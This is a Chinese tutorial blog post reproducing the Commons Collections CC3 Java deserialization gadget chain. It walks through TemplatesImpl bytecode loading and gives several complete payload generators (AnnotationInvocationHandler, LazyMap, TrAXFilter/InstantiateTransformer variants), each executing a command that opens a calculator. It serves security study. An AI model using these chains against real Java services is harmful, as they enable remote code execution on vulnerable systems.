java 反序列化 cc3 复现

news/2024/11/14 20:05:08/文章来源:https://www.cnblogs.com/meraklbz/p/18546677

版本要求:jdk版本<=8u65,common-collections版本<=3.2.1
在很多时候,Runtime会被黑名单禁用.在这些情况下,我们需要去构造自定义的类加载器来加载自定义的字节码.

类加载机制

双亲委派

这里直接粘别人的了.

实现一个自定义类加载器需要继承 ClassLoader ,同时覆盖 findClass 方法。
ClassLoader 里面有三个重要的方法 loadClass() 、findClass() 和 defineClass() 。
loadClass() 方法是加载目标类的入口,它首先会查找当前 ClassLoader 以及它的双亲里面是否已经加载了目标类,如果没有找到就会让双亲尝试加载,如果双亲都加载不了,就会调用 findClass() 让自定义加载器自己来加载目标类。ClassLoader 的 findClass() 方法是需要子类来覆盖的,不同的加载器将使用不同的逻辑来获取目标类的字节码。拿到这个字节码之后再调用 defineClass() 方法将字节码转换成 Class 对象。

想要理解java的类加载机制,最重要的是双亲委派机制.

类加载器根据全限定类名判断类是否加载,如果已经加载则直接返回已加载类。如果没有加载,类加载器会首先委托父类加载器加载此类。父类加载器也会采用相同的策略,查看是否自己已经加载该类,如果有就返回,没有就继续委托给父类进行加载,直到BootStrapClassLoader。如果父类加载器无法加载,就会交给子类进行加载,如果还不能加载就继续交给子类加载。顺序为 BootStrapClassLoader->ExtClassLoader->AppClassLoader->自定义类加载器
双亲委派机制的好处:
能够有效确保一个类的全局唯一性,当程序中出现多个限定名相同的类时,类加载器在执行加载时,始终只会加载其中的某一个类。加载的先后顺序其实确定了类被加载的优先级,如果出现了限定名相同的类,类加载器在执行加载时只会加载优先级最高的那个类。

动态加载

先来看一段代码.

package org.example;  public class test {  {  System.out.println(1);  }  //实例初始化块,会在实例初始化之前被调用.static {  System.out.println(2);  }  //静态初始化块,会在类被初始化时被调用public test() {  System.out.println(3);  }  //构造函数,会在实例被初始化时调用public void aaa() {  System.out.println(4);  }  //一般函数,需要手动去调用
}

那我们看看两个例子

package org.example;  public class Main {  public static void main(String[] args) throws Exception{  String url = "org.example.test";  Class<?> classname = Class.forName(url);  //2test test1 = (test)classname.newInstance();  //1 3test1.aaa();  //4}  
}

Class.forName除了会进行类加载以外,还会进行类的初始化.

package org.example;  public class Main {  public static void main(String[] args) throws Exception{  String url = "org.example.test";  ClassLoader classloader = ClassLoader.getSystemClassLoader();  Class<?> clazz = classloader.loadClass(url);  test test1 = (test)clazz.newInstance();  //2 1 3test1.aaa();  //4}  
}

这里要解释一下为什么在loadClass的时候没有输出2,而是在后面输出的.因为loadClass仅对类进行加载而不去进行初始化,因此无法触发静态初始化块.

Templatesimpl类

这个类实现了Serializable接口,同时重写了defineClass,能够去加载自定义的类.

defineClass

Class defineClass(final byte[] b) {  return defineClass(null, b, 0, b.length);  
}

查找引用
image

defineTransletClasses

private void defineTransletClasses()  throws TransformerConfigurationException {  if (_bytecodes == null) {  ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);  throw new TransformerConfigurationException(err.toString());  }  TransletClassLoader loader = (TransletClassLoader)  AccessController.doPrivileged(new PrivilegedAction() {  public Object run() {  return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());  }  });  try {  final int classCount = _bytecodes.length;  _class = new Class[classCount];  if (classCount > 1) {  _auxClasses = new HashMap<>();  }  for (int i = 0; i < classCount; i++) {  _class[i] = loader.defineClass(_bytecodes[i]);  final Class superClass = _class[i].getSuperclass();  // Check if this is the main class  if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  _transletIndex = i;  }  else {  _auxClasses.put(_class[i].getName(), _class[i]);  }  }  if (_transletIndex < 0) {  ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);  throw new TransformerConfigurationException(err.toString());  }  }  catch (ClassFormatError e) {  ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);  throw new TransformerConfigurationException(err.toString());  }  catch (LinkageError e) {  ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  throw new TransformerConfigurationException(err.toString());  }  
}

这里面调用了defineClass,但是是私有的方法,继续查找引用
image

虽然getTransletIndex是public方法,但是这里选择getTransletInstance,原因下面说

getTransletInstance

private Translet getTransletInstance()  throws TransformerConfigurationException {  try {  if (_name == null) return null;  if (_class == null) defineTransletClasses();  // The translet needs to keep a reference to all its auxiliary  // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();  translet.postInitialization();  translet.setTemplates(this);  translet.setServicesMechnism(_useServicesMechanism);  translet.setAllowedProtocols(_accessExternalStylesheet);  if (_auxClasses != null) {  translet.setAuxiliaryClasses(_auxClasses);  }  return translet;  }  catch (InstantiationException e) {  ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  throw new TransformerConfigurationException(err.toString());  }  catch (IllegalAccessException e) {  ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  throw new TransformerConfigurationException(err.toString());  }  
}

可以看到有这样一句非常的关键

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

完美的解决了在使用ClassLoader时只加载不初始化的问题.
注意这里的判断条件需要满足.

if (_name == null) return null;  
if (_class == null) defineTransletClasses();  

查找引用
image

newTransformer

public synchronized Transformer newTransformer()  throws TransformerConfigurationException  
{  TransformerImpl transformer;  transformer = new TransformerImpl(getTransletInstance(), _outputProperties,  _indentNumber, _tfactory);  if (_uriResolver != null) {  transformer.setURIResolver(_uriResolver);  }  if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {  transformer.setSecureProcessing(true);  }  return transformer;  
}

wc总算找到public方法了.

Templatesimpl利用链

那么此时就可以去归纳梳理TemplatesLmpl利用链.
在defineTranslatedClasses中存在下面的内容

if (_bytecodes == null) {  ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);  throw new TransformerConfigurationException(err.toString());  
}

看看_bytecodes是干什么的.

private byte[][] _bytecodes = null;

这个数组中就是我们想要去反序列化的值.
按照上面的逻辑去写个脚本.

package org.example;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  public class Main {  public static void main(String[] args) throws Exception{  TemplatesImpl templatesimpl = new TemplatesImpl();  Class clazz = templatesimpl.getClass();  Field field = clazz.getDeclaredField("_name");  field.setAccessible(true);  field.set(templatesimpl, "test");Field field2 = clazz.getDeclaredField("_bytecodes");  field2.setAccessible(true);  byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  byte[][] codes = {code};  field2.set(templatesimpl, codes);  templatesimpl.newTransformer();  }  
}

一跑发现报错,老实了
image

跟进错误查看.发现是defineTransletClasses的一部分.

TransletClassLoader loader = (TransletClassLoader)  AccessController.doPrivileged(new PrivilegedAction() {  public Object run() {  return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());  }  });

跟进查看_tfactory

private transient TransformerFactoryImpl _tfactory = null;

发现初始化的值为null,所以会在调用getExternalExtensionsMap时出现报错.给他赋个初值.

package org.example;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  public class Main {  public static void main(String[] args) throws Exception{  TemplatesImpl templatesimpl = new TemplatesImpl();  Class clazz = templatesimpl.getClass();  Field field = clazz.getDeclaredField("_name");  field.setAccessible(true);  field.set(templatesimpl, "test");  Field field2 = clazz.getDeclaredField("_bytecodes");  field2.setAccessible(true);  byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  byte[][] codes = {code};  field2.set(templatesimpl, codes);  Field field3 = clazz.getDeclaredField("_tfactory");  field3.setAccessible(true);  field3.set(templatesimpl, new TransformerFactoryImpl());  templatesimpl.newTransformer();  }

跑一下,又爆了个空指针的错误
image

这三处报错是层层套的关系,再分析defineTransletClasses
当运行到这里的时候,_auxClasses的值为null,因此出现了空指针错误.

else {  _auxClasses.put(_class[i].getName(), _class[i]);  
}

然而向上追述发现这个_auxClasses的赋值是一个无法解决的问题

final int classCount = _bytecodes.length;  
_class = new Class[classCount];  if (classCount > 1) {  _auxClasses = new HashMap<>();  
}

如果我们只给_bytecodes这个二维字节数组添加一个一维数组,那么就必然无法给_auxClasses赋值.
尝试使用反射去修改值,则出现了更大的问题.发现这个_auxClasses是用来指定defineClass加载的默认的类的,如果赋值的话则会出现更多的报错和问题.
只能使这个分支走上面的那个if

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  _transletIndex = i;  
}

断点调试发现此时superClass.getName的父类为java.lang.Object(这里的superClass指的就是恶意类test的父类).这不行,我们得让他的父类为AbstractTranslet才能够相等.改写test恶意类如下.

package org.example;  import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  public class test extends AbstractTranslet {  static {  try {  Runtime.getRuntime().exec("calc");  } catch (Exception e) {  throw new RuntimeException("Exploit failed");  }  }  @Override  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  }  @Override  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  }  
}

idea可以自动补全没有实现的方法,有点过于nb了.
运行成功弹出计算器.虽然还有报错,但是是在执行命令以后报的,类中没有进行捕获处理.但是我们已经执行命令了,索性也不管他.

对接cc1和cc6

由于我们最后使用的是newTransformer方法,该方法的返回值为一个Transformer对象.那么此时我们就有了对接cc1和cc6的能力.对接位置进行如下修改.

ConstantTransformer ct = new ConstantTransformer(templatesimpl);  
InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);  
Transformer[] transformers = {ct, it};

后面直接跟ChainedTransformer去构造链子即可.
AnotationInvocationHandler版本的利用链如下:

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws Exception{TemplatesImpl templatesimpl = new TemplatesImpl();Class<?> clazz = templatesimpl.getClass();Field field = clazz.getDeclaredField("_name");field.setAccessible(true);field.set(templatesimpl, "test");Field field2 = clazz.getDeclaredField("_bytecodes");field2.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));byte[][] codes = {code};field2.set(templatesimpl, codes);Field field3 = clazz.getDeclaredField("_tfactory");field3.setAccessible(true);field3.set(templatesimpl, new TransformerFactoryImpl());ConstantTransformer ct = new ConstantTransformer(templatesimpl);InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);Transformer[] transformers = {ct, it};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);/*ChainedTransformer*/HashMap<Object, Object> map = new HashMap<>();map.put("value", ""); //解释二Map decorated = TransformedMap.decorate(map, null, chainedTransformer);/*TransformedMap.decorate*/Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annoConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);annoConstructor.setAccessible(true);Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一/*AnnotationInvocationHandler*/serial(poc);unserial();}public static void serial(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));out.writeObject(obj);}public static void unserial() throws IOException, ClassNotFoundException {ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));in.readObject();}
}

LazyMap版本的利用链如下

package org.example;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  import java.io.*;  import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.ExceptionPredicate;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  import java.lang.reflect.*;  
import java.util.HashMap;  
import java.util.Map;  public class Main {  public static void main(String[] args) throws Exception{  TemplatesImpl templatesimpl = new TemplatesImpl();  Class<?> clazz = templatesimpl.getClass();  Field field = clazz.getDeclaredField("_name");  field.setAccessible(true);  field.set(templatesimpl, "test");  Field field2 = clazz.getDeclaredField("_bytecodes");  field2.setAccessible(true);  byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  byte[][] codes = {code};  field2.set(templatesimpl, codes);  Field field3 = clazz.getDeclaredField("_tfactory");  field3.setAccessible(true);  field3.set(templatesimpl, new TransformerFactoryImpl());  ConstantTransformer ct = new ConstantTransformer(templatesimpl);  InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);  Transformer[] transformers = {ct, it};  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);  TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);  HashMap<Object, Object> hashMap = new HashMap<>();  hashMap.put(tiedMapEntry, null);  Class clazz1 = TiedMapEntry.class;  Field field1 = clazz1.getDeclaredField("map");  field1.setAccessible(true);  field1.set(tiedMapEntry, lazymap);  serial(hashMap);  unserial();  }  public static void serial(Object obj) throws Exception {  ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  out.writeObject(obj);  }  public static void unserial() throws Exception {  ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  in.readObject();  }  
}

归纳总结得出利用链:
cc1出口的:

Gadget chain:
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()AbstractInputCheckedMapDecorator.MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.defineClass()InvokerTransformer.transform()

cc6出口的:

Gadget chain:
ObjectInputStream.readObject()HashMap.readObject() TiedMapEntry.hashCode()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.defineClass()InvokerTransformer.transform()

绕过InvokerTransformer

然而我们对ysoserial工具进行反编译,发现他的cc2的payload不是像我们上面那样写的,而是绕过了InvokerTransformer.
查找TemplatesImplnewTransformer的用法
image

来到了TraxFilter类

TraxFilter

public TrAXFilter(Templates templates)  throws  TransformerConfigurationException  
{  _templates = templates;  _transformer = (TransformerImpl) templates.newTransformer();  _transformerHandler = new TransformerHandlerImpl(_transformer);  _useServicesMechanism = _transformer.useServicesMechnism();  
}

发现在构造方法中调用了templates.newTransformer();,templates的值是自己传入的.那么此时需要有一个能够触发别人构造方法多的类.

InstantiateTransformer

看transform方法

public Object transform(Object input) {try {if (!(input instanceof Class)) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));} else {Constructor con = ((Class)input).getConstructor(this.iParamTypes);return con.newInstance(this.iArgs);}} catch (NoSuchMethodException var3) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException var4) {InstantiationException ex = var4;throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException var5) {IllegalAccessException ex = var5;throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException var6) {InvocationTargetException ex = var6;throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}}

忽略那一堆异常处理,直接看核心逻辑

Constructor con =((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);

这就很明显了,先获取了类型为Classinput参数的构造方法,构造方法的参数列表为this.iParamTypes,然后又创建了一个该类的实例并返回.
那么我们就可以得到修改后的衔接部分如下

ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
Transformer[] transformers = {ct, it};

比较好理解,获取的是TrAXFilter的构造方法,给构造方法传入的参数是Object[]{templatesimpl}
至此重新给出利用InstantiateTransformer的payload
AnotationInvokationHandler的:

package org.example;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Map;  import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.util.HashMap;  
import java.util.Map;  public class Main {  public static void main(String[] args) throws Exception{  TemplatesImpl templatesimpl = new TemplatesImpl();  Class<?> clazz = templatesimpl.getClass();  Field field = clazz.getDeclaredField("_name");  field.setAccessible(true);  field.set(templatesimpl, "test");  Field field2 = clazz.getDeclaredField("_bytecodes");  field2.setAccessible(true);  byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  byte[][] codes = {code};  field2.set(templatesimpl, codes);  Field field3 = clazz.getDeclaredField("_tfactory");  field3.setAccessible(true);  field3.set(templatesimpl, new TransformerFactoryImpl());  ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  Transformer[] transformers = {ct, it};  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  /*  ChainedTransformer        */  HashMap<Object, Object> map = new HashMap<>();  map.put("value", ""); //解释二  Map decorated = TransformedMap.decorate(map, null, chainedTransformer);  /*  TransformedMap.decorate        */  Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  Constructor annoConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);  annoConstructor.setAccessible(true);  Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一  /*  AnnotationInvocationHandler       */  serial(poc);  unserial();  }  public static void serial(Object obj) throws IOException {  ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  out.writeObject(obj);  }  public static void unserial() throws IOException, ClassNotFoundException {  ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  in.readObject();  }  
}

LazyMap的:

package org.example;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import javax.xml.transform.Templates;  import java.io.*;  import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  import java.util.HashMap;  
import java.util.Map;  public class Main {  public static void main(String[] args) throws Exception{  TemplatesImpl templatesimpl = new TemplatesImpl();  Class<?> clazz = templatesimpl.getClass();  Field field = clazz.getDeclaredField("_name");  field.setAccessible(true);  field.set(templatesimpl, "test");  String bytecodes = "_bytecodes";  Field field2 = clazz.getDeclaredField(bytecodes);  field2.setAccessible(true);  byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  byte[][] codes = {code};  field2.set(templatesimpl, codes);  Field field3 = clazz.getDeclaredField("_tfactory");  field3.setAccessible(true);  field3.set(templatesimpl, new TransformerFactoryImpl());  ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  Transformer[] transformers = {ct, it};  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);  TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);  HashMap<Object, Object> hashMap = new HashMap<>();  hashMap.put(tiedMapEntry, null);  Class clazz1 = TiedMapEntry.class;  Field field1 = clazz1.getDeclaredField("map");  field1.setAccessible(true);  field1.set(tiedMapEntry, lazymap);  serial(hashMap);  unserial();  }  public static void serial(Object obj) throws Exception {  ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  out.writeObject(obj);  }  public static void unserial() throws Exception {  ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  in.readObject();  }  
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/833597.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用Tailwind CSS的几个小Tips

前情 Tailwind CSS 是一个原子类 CSS 框架,它将基础的 CSS 全部拆分为原子级别。它的工作原理是扫描所有 HTML 文件、JavaScript 文件以及任何模板中的 CSS 类名,然后生成相应的样式代码并写入到一个静态 CSS 文件中。Tailwind CSS 快速、灵活、可靠、没有运行时负担。自从接…

给朋友写的爬Steam游戏评论的爬虫

详见配图如果你需要的话,可以从这里下载(包括程序、说明和演示视频): https://pan.baidu.com/s/1lN-DNTB7pVXan94hCsqYUQ?pwd=72mg(本来想传蓝奏云的,但是蓝奏云不支持传图片和视频,而且单文件大小有限制,弄起来会比百度云盘还麻烦)

apisix~限流插件的使用

参考:https://i4t.com/19399.html https://github.com/apache/apisix/issues/9193 https://github.com/apache/apisix/issues/9830 https://apisix.apache.org/docs/apisix/plugins/limit-conn/ https://blog.frankel.ch/different-rate-limits-apisix/在 Apache APISIX 中,限…

项目冲刺11.14

这个作业属于哪个课程 计科22级34班这个作业要求在哪里 作业要求这个作业的目标 进行为期七天的项目冲刺并记录前言 本篇博客是项目冲刺的第六篇,七篇博客的汇总如下:博客汇总第一篇博客第二篇博客第三篇博客第四篇博客第五篇博客第六篇博客第七篇博客团队简介队名 拖延是你不…

研途无忧Alpha冲刺第二天

Alpha冲刺dya2 研途无忧-冲刺日志(第二天) 进度表成员 完成的任务 完成的任务时长 剩余时间马鑫 小研帮部分页面的前端设计、部分工作安排与调整、冲刺日志的撰写 4h 14h王强 小研帮部分页面的前端设计、小研帮数据库的完善、相关云函数的设计 4h 14h黄昕怡 研小fu性格的切换…

K-Means聚类分析以及误差平方和SSE(Python实现)

代码介绍 使用 make_blobs 函数生成一个二维的随机数据集,包含120个样本和3个中心。生成的数据将用于后续的聚类分析。 数据生成后,通过散点图可视化这些点,展示不同的聚类中心。 定义了一个函数 calculate_sse,用于计算给定聚类数 k 时的误差平方和(SSE)。该函数使用K-M…

数字孪生如何赋能智慧能源?揭秘技术背后的核心价值

随着能源行业不断向智能化、数字化转型,数字孪生技术在智慧能源项目中扮演的角色愈发重要。数字孪生不仅带来了前所未有的资源优化和成本节约方式,还为整个能源系统的可持续运营奠定了坚实基础。那么,为什么数字孪生技术在智慧能源项目中如此不可或缺?下面我就从可视化从业…

激活函数

一、正向传播和反向传播在模型训练过程中,是同时包含正向传播和反向传播的正向传播是模型根据输入数据和当前的参数(权重和偏置)计算预测输出的过程。例如,在一个图像分类神经网络模型中,输入是图像的像素数据,经过多个隐藏层的计算,最终在输出层得到预测的类别概率分布…

centOS7 docker 安装步骤

一、安装前检查工作: 1.检查/etc/yum.repos.d/CentOS-Base.repo文件是否存在,如果不存在,从网络仓库中复制一份新的 CentOS-Base.repo 文件。 sudo curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo 或者使用 wget: sudo wget -O /…

k8s 1.28.2 集群部署 docker registry 接入 MinIO 存储

目录docker registry 部署生成 htpasswd 文件生成 secret 文件生成 registry 配置文件创建 service创建 statefulset创建 ingress验证 docker registrydocker registry 监控docker registry uidocker registry dockerfile docker registry 配置文件 S3 storage driver registry…

[68] (炼石计划) NOIP 模拟赛 #20

学了一个挺帅的 MerMaid 所以用一下 flowchart TBA(邻间的骰子之舞)style A color:#ffffff,fill:#00c0c0,stroke:#ffffff 考虑每次复制以后一定会粘贴若干次(大于零,否则没有意义),因此将复制粘贴捆绑起来考虑,设复制后连续粘贴了 \(m\) 次,则代价为 \(x+my\),贡献为让编…

团队项目Scrum冲刺-day4

一、每天举行站立式会议 站立式会议照片一张昨天已完成的工作成员 任务陈国金 用户模块接口开发凌枫 整合MD编辑器陈卓恒 完成管理题目页面谭立业 完成题目搜索页面廖俊龙 接口测试曾平凡 前端页面测试曾俊涛 完成题目模块接口开发薛秋昊 完成题目提交模块接口开发今天计划完成…